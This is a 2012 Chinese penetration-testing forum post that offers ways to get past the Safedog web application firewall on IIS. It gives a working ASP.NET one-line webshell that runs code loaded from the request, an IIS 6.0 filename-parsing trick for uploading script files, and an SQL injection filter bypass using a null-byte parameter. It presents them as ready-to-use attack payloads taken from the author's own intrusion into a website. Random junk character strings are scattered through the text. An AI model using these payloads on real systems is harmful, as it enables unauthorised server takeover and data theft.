中国网络渗透测试联盟
标题:
突破安全狗防注入及上传的一些思路
[打印本页]
作者:
admin
时间:
2012-10-31 08:25
标题:
突破安全狗防注入及上传的一些思路
1、绕过IIS安全狗的一句话。
7 |! [" I3 T* C3 {3 f
前几天测试一个网站。找到突破口之后，写入webshell，但服务器上装有IIS安全狗，平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
" n b/ e$ {) u/ J" v2 h7 Z4 N
<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
- J9 J7 b+ D+ S
: ?. Y8 ~3 w9 x0 e: }
2、IIS6.0解析漏洞遇到安全狗。
+ \) N, e2 K' O& [2 ^# o( ]/ M
文件名为
5 L2 B- T7 L; |/ c3 r' P" m
http://www.xxxxx.com/sh3llc0de.asp;1.jpg
+ Z, }# `* }+ u8 r
) G4 s) Y4 W/ ?! M+ S+ T7 _
这样的会被IIS安全狗果断屏蔽。
- b4 X; l0 |0 V9 }
改成如下名称,IIS6一样会解析：
5 K+ u9 v5 x! N
www.xxxxx.com/;1.asp;1.jpg
2 S" `3 l* o" U7 S. s# R5 Z. C
+ O5 Y4 z; Z( k+ G+ i l5 k i- Q
3、安全狗的注入绕过。
2 w' r ]. y9 G0 I
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。
8 b$ K8 |, V! |+ S0 V6 p
但如果：
3 C/ q. P: Q& X# {- W7 }1 M
r00ts.asp?r00ts.com=%00.&id=69%20 and 1=1
' n. u+ L' P0 T1 Y
就可以成功绕过了。
3 Z) ?) }7 P- M! U' s3 @
& v3 }. g$ k: T5 S5 V$ m" `% t
9 V! I3 v' ]6 J" J) H
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2